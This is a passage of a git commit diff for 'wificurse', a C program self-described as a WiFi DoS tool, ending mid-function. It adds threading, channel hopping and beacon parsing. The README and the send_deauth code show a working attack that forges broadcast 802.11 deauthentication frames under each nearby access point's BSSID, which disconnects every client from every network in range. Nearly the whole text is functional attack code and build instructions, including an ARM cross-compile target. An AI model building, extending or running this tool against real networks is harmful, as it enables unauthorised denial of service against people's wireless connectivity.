attack improved, threading added
This commit is contained in:
parent
75c1fab215
commit
e5701cfb78
10
Makefile
10
Makefile
@ -1,8 +1,12 @@
|
||||
PREFIX ?= /usr/local
|
||||
CC = $(CROSS_COMPILE)gcc
|
||||
CFLAGS ?= -O2
|
||||
|
||||
SRCS = $(wildcard src/*.c)
|
||||
HDRS = $(wildcard src/*.h)
|
||||
|
||||
OBJS = $(SRCS:%.c=%.o)
|
||||
LIBS = -lpthread
|
||||
|
||||
.PHONY: clean all install
|
||||
|
||||
@ -16,10 +20,10 @@ endif
|
||||
all: wificurse
|
||||
|
||||
wificurse: $(OBJS)
|
||||
$(CC) $(LDFLAGS) -o $@ $(OBJS)
|
||||
$(CC) $(LDFLAGS) $(LIBS) $(OBJS) -o $@
|
||||
|
||||
%.o: %.c %.h
|
||||
$(CC) $(CFLAGS) -c -o $@ $<
|
||||
%.o: %.c $(HDRS)
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
install: all
|
||||
@mkdir -p $(INSTALLDIR)/bin
|
||||
|
11
README
11
README
@ -12,9 +12,11 @@ apply the patch patches/cfg80211_monitor_mode_channel_fix.patch
|
||||
to the kernel.
|
||||
|
||||
How to use it: Just run it as root and put as first argument the
|
||||
card interface. It will put your interface in monitor mode automatically,
|
||||
it will start DoSing and change channel every 3 seconds. The channel
|
||||
range is 1 - 13.
|
||||
card interface. It will automatically put your interface in monitor
|
||||
mode and it will listen at channel range 1-14. If there is no AP in the
|
||||
channel, it will change channel every 1 second, or else it will start
|
||||
the attack which it takes approximately 30 seconds. After that it will
|
||||
change channel.
|
||||
|
||||
|
||||
compile:
|
||||
@ -22,3 +24,6 @@ compile:
|
||||
|
||||
install:
|
||||
make PREFIX=/usr install
|
||||
|
||||
ARM cross-compile:
|
||||
make CROSS_COMPILE=arm-none-linux-gnueabi-
|
88
src/ap_list.c
Normal file
88
src/ap_list.c
Normal file
@ -0,0 +1,88 @@
|
||||
/*
|
||||
wificurse - WiFi DoS tool
|
||||
Copyright (C) 2012 oblique
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include "iw.h"
|
||||
#include "error.h"
|
||||
#include "ap_list.h"
|
||||
|
||||
|
||||
void init_ap_list(struct ap_list *apl) {
|
||||
apl->head = NULL;
|
||||
apl->tail = NULL;
|
||||
}
|
||||
|
||||
void free_ap_list(struct ap_list *apl) {
|
||||
struct access_point *tmp;
|
||||
|
||||
while (apl->head != NULL) {
|
||||
tmp = apl->head;
|
||||
apl->head = apl->head->next;
|
||||
free(tmp);
|
||||
}
|
||||
|
||||
apl->head = apl->tail = NULL;
|
||||
}
|
||||
|
||||
void link_ap(struct ap_list *apl, struct access_point *ap) {
|
||||
if (apl->head == NULL)
|
||||
apl->head = apl->tail = ap;
|
||||
else {
|
||||
ap->prev = apl->tail;
|
||||
apl->tail->next = ap;
|
||||
apl->tail = ap;
|
||||
}
|
||||
}
|
||||
|
||||
void unlink_ap(struct ap_list *apl, struct access_point *ap) {
|
||||
if (ap->prev)
|
||||
ap->prev->next = ap->next;
|
||||
else
|
||||
apl->head = ap->next;
|
||||
if (ap->next)
|
||||
ap->next->prev = ap->prev;
|
||||
else
|
||||
apl->tail = ap->prev;
|
||||
}
|
||||
|
||||
int add_or_update_ap(struct ap_list *apl, struct ap_info *api) {
|
||||
struct access_point *ap;
|
||||
|
||||
ap = apl->head;
|
||||
while (ap != NULL) {
|
||||
if (memcmp(ap->info.bssid, api->bssid, IFHWADDRLEN) == 0)
|
||||
break;
|
||||
ap = ap->next;
|
||||
}
|
||||
|
||||
if (ap == NULL) {
|
||||
ap = malloc(sizeof(*ap));
|
||||
if (ap == NULL)
|
||||
return_error("malloc");
|
||||
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(&ap->info, api, sizeof(ap->info));
|
||||
link_ap(apl, ap);
|
||||
}
|
||||
|
||||
ap->last_beacon_tm = time(NULL);
|
||||
|
||||
return 0;
|
||||
}
|
@ -16,23 +16,42 @@
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef DEV_H
|
||||
#define DEV_H
|
||||
#ifndef AP_LIST_H
|
||||
#define AP_LIST_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/wireless.h>
|
||||
|
||||
|
||||
struct dev {
|
||||
char ifname[IFNAMSIZ+1];
|
||||
int ifindex;
|
||||
int fd;
|
||||
#define ESSID_LEN 32
|
||||
|
||||
struct ap_info {
|
||||
int chan;
|
||||
struct ifreq old_flags;
|
||||
struct iwreq old_mode;
|
||||
uint8_t bssid[IFHWADDRLEN];
|
||||
uint8_t essid[ESSID_LEN+1];
|
||||
};
|
||||
|
||||
struct access_point {
|
||||
volatile unsigned int num_of_deauths;
|
||||
time_t last_beacon_tm;
|
||||
uint16_t sequence:12;
|
||||
struct ap_info info;
|
||||
struct access_point *next;
|
||||
struct access_point *prev;
|
||||
};
|
||||
|
||||
struct ap_list {
|
||||
struct access_point *head;
|
||||
struct access_point *tail;
|
||||
};
|
||||
|
||||
|
||||
void init_dev(struct dev *dev);
|
||||
void init_ap_list(struct ap_list *apl);
|
||||
void free_ap_list(struct ap_list *apl);
|
||||
void link_ap(struct ap_list *apl, struct access_point *ap);
|
||||
void unlink_ap(struct ap_list *apl, struct access_point *ap);
|
||||
int add_or_update_ap(struct ap_list *apl, struct ap_info *api);
|
||||
|
||||
#endif
|
56
src/channelset.h
Normal file
56
src/channelset.h
Normal file
@ -0,0 +1,56 @@
|
||||
/*
|
||||
wificurse - WiFi DoS tool
|
||||
Copyright (C) 2012 oblique
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef CHANNELSET_H
|
||||
#define CHANNELSET_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define CHANNEL_MAX 255
|
||||
typedef volatile uint32_t channelset_t[8];
|
||||
|
||||
static inline void channel_zero(channelset_t *cs) {
|
||||
uint32_t *c = (uint32_t*)cs;
|
||||
c[0] = c[1] = c[2] = c[3] = 0;
|
||||
c[4] = c[5] = c[6] = c[7] = 0;
|
||||
}
|
||||
|
||||
static inline void channel_set(channelset_t *cs, uint8_t chan) {
|
||||
uint32_t *c = (uint32_t*)cs;
|
||||
c[chan/32] |= 1 << (chan % 32);
|
||||
}
|
||||
|
||||
static inline void channel_unset(channelset_t *cs, uint8_t chan) {
|
||||
uint32_t *c = (uint32_t*)cs;
|
||||
c[chan/32] &= ~(1 << (chan % 32));
|
||||
}
|
||||
|
||||
static inline int channel_isset(channelset_t *cs, uint8_t chan) {
|
||||
uint32_t *c = (uint32_t*)cs;
|
||||
return !!(c[chan/32] & (1 << (chan % 32)));
|
||||
}
|
||||
|
||||
static inline void channel_copy(channelset_t *dest, channelset_t *src) {
|
||||
uint32_t i, *dc, *sc;
|
||||
dc = (uint32_t*)dest;
|
||||
sc = (uint32_t*)src;
|
||||
for (i=0; i<8; i++)
|
||||
dc[i] = sc[i];
|
||||
}
|
||||
|
||||
#endif
|
115
src/console.c
115
src/console.c
@ -18,115 +18,46 @@
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include "dev.h"
|
||||
#include "error.h"
|
||||
#include "iw.h"
|
||||
#include "ap_list.h"
|
||||
#include "console.h"
|
||||
#include "wificurse.h"
|
||||
|
||||
|
||||
void init_ap_list(struct ap_list *apl) {
|
||||
apl->head = NULL;
|
||||
apl->tail = NULL;
|
||||
}
|
||||
|
||||
void free_ap_list(struct ap_list *apl) {
|
||||
struct access_point *tmp;
|
||||
|
||||
while (apl->head != NULL) {
|
||||
tmp = apl->head;
|
||||
apl->head = apl->head->next;
|
||||
free(tmp);
|
||||
}
|
||||
|
||||
apl->head = apl->tail = NULL;
|
||||
}
|
||||
|
||||
int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) {
|
||||
struct access_point *ap;
|
||||
|
||||
ap = apl->head;
|
||||
while (ap != NULL) {
|
||||
if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0)
|
||||
break;
|
||||
ap = ap->next;
|
||||
}
|
||||
|
||||
if (ap == NULL) {
|
||||
ap = malloc(sizeof(*ap));
|
||||
if (ap == NULL)
|
||||
return_error("malloc");
|
||||
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, sizeof(ap->bssid));
|
||||
|
||||
if (apl->head == NULL)
|
||||
apl->head = apl->tail = ap;
|
||||
else {
|
||||
ap->prev = apl->tail;
|
||||
apl->tail->next = ap;
|
||||
apl->tail = ap;
|
||||
}
|
||||
}
|
||||
|
||||
ap->last_beacon_tm = time(NULL);
|
||||
ap->deauth = 1;
|
||||
ap->num_of_deauth++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void clear_deauth(struct ap_list *apl) {
|
||||
struct access_point *ap;
|
||||
|
||||
ap = apl->head;
|
||||
while (ap != NULL) {
|
||||
ap->deauth = 0;
|
||||
ap = ap->next;
|
||||
}
|
||||
}
|
||||
|
||||
void unlink_ap(struct ap_list *apl, struct access_point *ap) {
|
||||
if (ap->prev)
|
||||
ap->prev->next = ap->next;
|
||||
else
|
||||
apl->head = ap->next;
|
||||
if (ap->next)
|
||||
ap->next->prev = ap->prev;
|
||||
else
|
||||
apl->tail = ap->prev;
|
||||
}
|
||||
|
||||
void clear_scr() {
|
||||
printf("\033[2J\033[1;1H");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
void update_scr(struct ap_list *apl, struct dev *dev) {
|
||||
struct access_point *ap, *tmp;
|
||||
void update_scr(struct ap_list *apl, struct iw_dev *dev) {
|
||||
struct access_point *ap;
|
||||
|
||||
/* move cursor at colum 1 row 1 */
|
||||
printf("\033[1;1H");
|
||||
|
||||
printf("[ Channel: %3d ]\n\n", dev->chan);
|
||||
printf("Deauth BSSID Number of Deauth\n\n");
|
||||
printf("\n CH %3d ][ WiFi Curse v" VERSION "\n\n", dev->chan);
|
||||
printf(" Deauth "
|
||||
"BSSID "
|
||||
" CH "
|
||||
"ESSID\n\n");
|
||||
|
||||
ap = apl->head;
|
||||
while (ap != NULL) {
|
||||
if (time(NULL) - ap->last_beacon_tm >= 60) {
|
||||
tmp = ap;
|
||||
ap = ap->next;
|
||||
unlink_ap(apl, tmp);
|
||||
free(tmp);
|
||||
continue;
|
||||
}
|
||||
if (ap->deauth)
|
||||
printf(RED_COLOR("*"));
|
||||
/* erase whole line */
|
||||
printf("\033[2K");
|
||||
if (ap->info.chan == dev->chan)
|
||||
printf(RED_COLOR "*" RESET_COLOR);
|
||||
else
|
||||
printf(" ");
|
||||
printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1],
|
||||
ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]);
|
||||
printf(" %d\n", ap->num_of_deauth);
|
||||
printf(" %11d", ap->num_of_deauths);
|
||||
printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->info.bssid[0],
|
||||
ap->info.bssid[1], ap->info.bssid[2], ap->info.bssid[3],
|
||||
ap->info.bssid[4], ap->info.bssid[5]);
|
||||
printf(" %3d ", ap->info.chan);
|
||||
if (ap->info.essid[0] == '\0') {
|
||||
printf(" <hidden>\n");
|
||||
} else
|
||||
printf(" %s\n", ap->info.essid);
|
||||
ap = ap->next;
|
||||
}
|
||||
|
||||
|
@ -19,35 +19,14 @@
|
||||
#ifndef CONSOLE_H
|
||||
#define CONSOLE_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/wireless.h>
|
||||
#include "dev.h"
|
||||
#include "iw.h"
|
||||
#include "ap_list.h"
|
||||
|
||||
|
||||
struct access_point {
|
||||
int deauth;
|
||||
unsigned int num_of_deauth;
|
||||
time_t last_beacon_tm;
|
||||
uint8_t bssid[IFHWADDRLEN];
|
||||
struct access_point *next;
|
||||
struct access_point *prev;
|
||||
};
|
||||
|
||||
struct ap_list {
|
||||
struct access_point *head;
|
||||
struct access_point *tail;
|
||||
};
|
||||
|
||||
|
||||
void init_ap_list(struct ap_list *apl);
|
||||
int add_or_update_ap(struct ap_list *apl, uint8_t *bssid);
|
||||
void unlink_ap(struct ap_list *apl, struct access_point *ap);
|
||||
void clear_deauth(struct ap_list *apl);
|
||||
void clear_scr();
|
||||
void update_scr(struct ap_list *apl, struct dev *dev);
|
||||
void update_scr(struct ap_list *apl, struct iw_dev *dev);
|
||||
|
||||
#define RED_COLOR(str) "\033[1;31m" str "\033[0m"
|
||||
#define RED_COLOR "\033[1;31m"
|
||||
#define RESET_COLOR "\033[0m"
|
||||
|
||||
#endif
|
||||
|
26
src/dev.c
26
src/dev.c
@ -1,26 +0,0 @@
|
||||
/*
|
||||
wificurse - WiFi DoS tool
|
||||
Copyright (C) 2012 oblique
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <string.h>
|
||||
#include "dev.h"
|
||||
|
||||
|
||||
void init_dev(struct dev *dev) {
|
||||
memset(dev, 0, sizeof(*dev));
|
||||
dev->fd = -1;
|
||||
}
|
90
src/iw.c
90
src/iw.c
@ -27,10 +27,16 @@
|
||||
#include "iw.h"
|
||||
|
||||
|
||||
void iw_init_dev(struct iw_dev *dev) {
|
||||
memset(dev, 0, sizeof(*dev));
|
||||
dev->fd_in = -1;
|
||||
dev->fd_out = -1;
|
||||
}
|
||||
|
||||
/* man 7 netdevice
|
||||
* man 7 packet
|
||||
*/
|
||||
int iw_open(struct dev *dev) {
|
||||
int iw_open(struct iw_dev *dev) {
|
||||
struct ifreq ifr;
|
||||
struct iwreq iwr;
|
||||
struct sockaddr_ll sll;
|
||||
@ -40,19 +46,27 @@ int iw_open(struct dev *dev) {
|
||||
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (fd < 0)
|
||||
return_error("socket");
|
||||
dev->fd = fd;
|
||||
dev->fd_in = fd;
|
||||
|
||||
dev->fd_out = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (dev->fd_out < 0)
|
||||
return_error("socket");
|
||||
|
||||
/* save current interface flags */
|
||||
memset(&dev->old_flags, 0, sizeof(dev->old_flags));
|
||||
strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
|
||||
if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
|
||||
if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) {
|
||||
dev->old_flags.ifr_name[0] = '\0';
|
||||
return_error("ioctl(SIOCGIFFLAGS)");
|
||||
}
|
||||
|
||||
/* save current interface mode */
|
||||
memset(&dev->old_mode, 0, sizeof(dev->old_mode));
|
||||
strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
|
||||
if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
|
||||
if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) {
|
||||
dev->old_mode.ifr_name[0] = '\0';
|
||||
return_error("ioctl(SIOCGIWMODE)");
|
||||
}
|
||||
|
||||
/* set interface down (ifr_flags = 0) */
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
@ -77,42 +91,59 @@ int iw_open(struct dev *dev) {
|
||||
return_error("ioctl(SIOCGIFINDEX)");
|
||||
dev->ifindex = ifr.ifr_ifindex;
|
||||
|
||||
/* bind interface to socket */
|
||||
/* bind interface to fd_in socket */
|
||||
memset(&sll, 0, sizeof(sll));
|
||||
sll.sll_family = AF_PACKET;
|
||||
sll.sll_ifindex = dev->ifindex;
|
||||
sll.sll_protocol = htons(ETH_P_ALL);
|
||||
if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
|
||||
if (bind(dev->fd_in, (struct sockaddr*)&sll, sizeof(sll)) < 0)
|
||||
return_error("bind(%s)", dev->ifname);
|
||||
|
||||
/* enable promiscuous mode */
|
||||
/* bind interface to fd_out socket */
|
||||
if (bind(dev->fd_out, (struct sockaddr*)&sll, sizeof(sll)) < 0)
|
||||
return_error("bind(%s)", dev->ifname);
|
||||
|
||||
shutdown(dev->fd_in, SHUT_WR);
|
||||
shutdown(dev->fd_out, SHUT_RD);
|
||||
|
||||
/* set fd_in in promiscuous mode */
|
||||
memset(&mreq, 0, sizeof(mreq));
|
||||
mreq.mr_ifindex = dev->ifindex;
|
||||
mreq.mr_type = PACKET_MR_PROMISC;
|
||||
if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
|
||||
if (setsockopt(dev->fd_in, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
|
||||
return_error("setsockopt(PACKET_MR_PROMISC)");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void iw_close(struct dev *dev) {
|
||||
void iw_close(struct iw_dev *dev) {
|
||||
struct ifreq ifr;
|
||||
|
||||
if (dev->fd == -1)
|
||||
if (dev->fd_in == -1)
|
||||
return;
|
||||
|
||||
/* set interface down (ifr_flags = 0) */
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
|
||||
ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
|
||||
/* restore old mode */
|
||||
ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
|
||||
/* restore old flags */
|
||||
ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
|
||||
close(dev->fd);
|
||||
if (dev->fd_out == -1) {
|
||||
close(dev->fd_in);
|
||||
return;
|
||||
}
|
||||
|
||||
if (dev->old_flags.ifr_name[0] != '\0') {
|
||||
/* set interface down (ifr_flags = 0) */
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
|
||||
ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr);
|
||||
/* restore old mode */
|
||||
if (dev->old_mode.ifr_name[0] != '\0')
|
||||
ioctl(dev->fd_in, SIOCSIWMODE, &dev->old_mode);
|
||||
/* restore old flags */
|
||||
ioctl(dev->fd_in, SIOCSIFFLAGS, &dev->old_flags);
|
||||
}
|
||||
|
||||
close(dev->fd_in);
|
||||
close(dev->fd_out);
|
||||
}
|
||||
|
||||
ssize_t iw_write(int fd, void *buf, size_t count) {
|
||||
ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) {
|
||||
unsigned char *pbuf, *pkt;
|
||||
struct radiotap_hdr *rt_hdr;
|
||||
struct write_radiotap_data *w_rt_data;
|
||||
@ -137,7 +168,7 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
|
||||
/* packet */
|
||||
memcpy(pkt, buf, count);
|
||||
|
||||
r = send(fd, pbuf, rt_hdr->len + count, 0);
|
||||
r = send(dev->fd_out, pbuf, rt_hdr->len + count, 0);
|
||||
if (r < 0) {
|
||||
free(pbuf);
|
||||
return_error("send");
|
||||
@ -149,12 +180,12 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
|
||||
return r > 0 ? r : ERRAGAIN;
|
||||
}
|
||||
|
||||
ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
|
||||
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
|
||||
struct radiotap_hdr *rt_hdr;
|
||||
int r;
|
||||
|
||||
/* read packet */
|
||||
r = recv(fd, buf, count, 0);
|
||||
r = recv(dev->fd_in, buf, count, 0);
|
||||
if (r < 0)
|
||||
return_error("recv");
|
||||
|
||||
@ -168,9 +199,8 @@ ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz)
|
||||
return r;
|
||||
}
|
||||
|
||||
int iw_can_change_channel(struct dev *dev) {
|
||||
int iw_can_change_channel(struct iw_dev *dev) {
|
||||
struct iwreq iwr;
|
||||
ssize_t ret;
|
||||
|
||||
/* set channel */
|
||||
memset(&iwr, 0, sizeof(iwr));
|
||||
@ -178,30 +208,30 @@ int iw_can_change_channel(struct dev *dev) {
|
||||
iwr.u.freq.flags = IW_FREQ_FIXED;
|
||||
iwr.u.freq.m = 1;
|
||||
|
||||
if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
|
||||
if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
|
||||
return 0;
|
||||
if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0)
|
||||
if (ioctl(dev->fd_in, SIOCGIWFREQ, &iwr) < 0)
|
||||
return 0;
|
||||
|
||||
/* channel 1 frequency is 2412 */
|
||||
return iwr.u.freq.m == 2412;
|
||||
}
|
||||
|
||||
int iw_set_channel(struct dev *dev, int chan) {
|
||||
int iw_set_channel(struct iw_dev *dev, int chan) {
|
||||
struct iwreq iwr;
|
||||
ssize_t ret;
|
||||
|
||||
/* discard packets that are in kernel packet queue */
|
||||
ret = 0;
|
||||
while (ret != -1)
|
||||
ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT);
|
||||
ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT);
|
||||
|
||||
/* set channel */
|
||||
memset(&iwr, 0, sizeof(iwr));
|
||||
strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
|
||||
iwr.u.freq.flags = IW_FREQ_FIXED;
|
||||
iwr.u.freq.m = chan;
|
||||
if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
|
||||
if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
|
||||
return_error("ioctl(SIOCSIWFREQ)");
|
||||
dev->chan = chan;
|
||||
|
||||
|
26
src/iw.h
26
src/iw.h
@ -20,7 +20,8 @@
|
||||
#define IW_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include "dev.h"
|
||||
#include <sys/socket.h>
|
||||
#include <linux/wireless.h>
|
||||
|
||||
|
||||
struct radiotap_hdr {
|
||||
@ -41,12 +42,23 @@ struct write_radiotap_data {
|
||||
#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
|
||||
#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
|
||||
|
||||
struct iw_dev {
|
||||
char ifname[IFNAMSIZ+1];
|
||||
int ifindex;
|
||||
int fd_in;
|
||||
int fd_out;
|
||||
volatile int chan;
|
||||
struct ifreq old_flags;
|
||||
struct iwreq old_mode;
|
||||
};
|
||||
|
||||
int iw_open(struct dev *dev);
|
||||
void iw_close(struct dev *dev);
|
||||
ssize_t iw_write(int fd, void *buf, size_t count);
|
||||
ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
|
||||
int iw_can_change_channel(struct dev *dev);
|
||||
int iw_set_channel(struct dev *dev, int chan);
|
||||
|
||||
void iw_init_dev(struct iw_dev *dev);
|
||||
int iw_open(struct iw_dev *dev);
|
||||
void iw_close(struct iw_dev *dev);
|
||||
ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count);
|
||||
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
|
||||
int iw_can_change_channel(struct iw_dev *dev);
|
||||
int iw_set_channel(struct iw_dev *dev, int chan);
|
||||
|
||||
#endif
|
||||
|
289
src/wificurse.c
289
src/wificurse.c
@ -22,18 +22,32 @@
|
||||
#include <string.h>
|
||||
#include <poll.h>
|
||||
#include <signal.h>
|
||||
#include "dev.h"
|
||||
#include <pthread.h>
|
||||
#include <time.h>
|
||||
#include <sys/time.h>
|
||||
#include "iw.h"
|
||||
#include "error.h"
|
||||
#include "console.h"
|
||||
#include "ap_list.h"
|
||||
#include "channelset.h"
|
||||
#include "wificurse.h"
|
||||
|
||||
|
||||
int send_deauth(int fd, uint8_t *ap_mac) {
|
||||
static volatile int stop;
|
||||
|
||||
struct deauth_thread_args {
|
||||
struct ap_list *apl;
|
||||
struct iw_dev *dev;
|
||||
pthread_mutex_t *mutex_chan;
|
||||
pthread_mutex_t *mutex_list;
|
||||
channelset_t *chans_fixed;
|
||||
channelset_t *chans;
|
||||
};
|
||||
|
||||
int send_deauth(struct iw_dev *dev, struct access_point *ap) {
|
||||
struct mgmt_frame *deauth;
|
||||
uint16_t *reason;
|
||||
ssize_t r;
|
||||
int i;
|
||||
|
||||
deauth = malloc(sizeof(*deauth) + sizeof(*reason));
|
||||
if (deauth == NULL)
|
||||
@ -43,23 +57,20 @@ int send_deauth(int fd, uint8_t *ap_mac) {
|
||||
deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH;
|
||||
/* broadcast mac (ff:ff:ff:ff:ff:ff) */
|
||||
memset(deauth->dest_mac, '\xff', IFHWADDRLEN);
|
||||
memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN);
|
||||
memcpy(deauth->bssid, ap_mac, IFHWADDRLEN);
|
||||
memcpy(deauth->src_mac, ap->info.bssid, IFHWADDRLEN);
|
||||
memcpy(deauth->bssid, ap->info.bssid, IFHWADDRLEN);
|
||||
reason = (uint16_t*)&deauth->frame_body;
|
||||
/* reason 7: Class 3 frame received from nonassociated STA */
|
||||
*reason = htons(7);
|
||||
*reason = 7;
|
||||
|
||||
/* flood the network */
|
||||
for (i=0; i<128; i++) {
|
||||
deauth->sc.sequence = i;
|
||||
do {
|
||||
r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason));
|
||||
} while (r == ERRAGAIN);
|
||||
if (r < 0) {
|
||||
free(deauth);
|
||||
return r;
|
||||
}
|
||||
usleep(1000);
|
||||
/* send deauth */
|
||||
deauth->sc.sequence = ap->sequence++;
|
||||
do {
|
||||
r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
|
||||
} while (r == ERRAGAIN);
|
||||
if (r < 0) {
|
||||
free(deauth);
|
||||
return r;
|
||||
}
|
||||
|
||||
free(deauth);
|
||||
@ -67,13 +78,15 @@ int send_deauth(int fd, uint8_t *ap_mac) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int read_bssid(int fd, uint8_t *bssid) {
|
||||
uint8_t buf[256], *pkt;
|
||||
int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
|
||||
uint8_t buf[4096], *pkt;
|
||||
size_t pkt_sz;
|
||||
ssize_t r;
|
||||
ssize_t r, tmp, n;
|
||||
struct mgmt_frame *beacon;
|
||||
struct beacon_frame_body *beacon_fb;
|
||||
struct info_element *beacon_ie;
|
||||
|
||||
r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz);
|
||||
r = iw_read(dev, buf, sizeof(buf), &pkt, &pkt_sz);
|
||||
if (r < 0)
|
||||
return r;
|
||||
|
||||
@ -81,22 +94,121 @@ int read_bssid(int fd, uint8_t *bssid) {
|
||||
|
||||
/* if it's a beacon packet */
|
||||
if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
|
||||
memcpy(bssid, beacon->bssid, IFHWADDRLEN);
|
||||
memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
|
||||
beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
|
||||
beacon_ie = beacon_fb->infos;
|
||||
api->essid[0] = '\0';
|
||||
n = 0;
|
||||
|
||||
/* parse beacon */
|
||||
while (1) {
|
||||
if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
|
||||
tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
|
||||
memcpy(api->essid, beacon_ie->info, tmp);
|
||||
api->essid[tmp] = '\0';
|
||||
n |= 1;
|
||||
} else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
|
||||
api->chan = beacon_ie->info[0];
|
||||
n |= 2;
|
||||
}
|
||||
if (n == (1|2))
|
||||
break;
|
||||
/* next beacon element */
|
||||
beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
|
||||
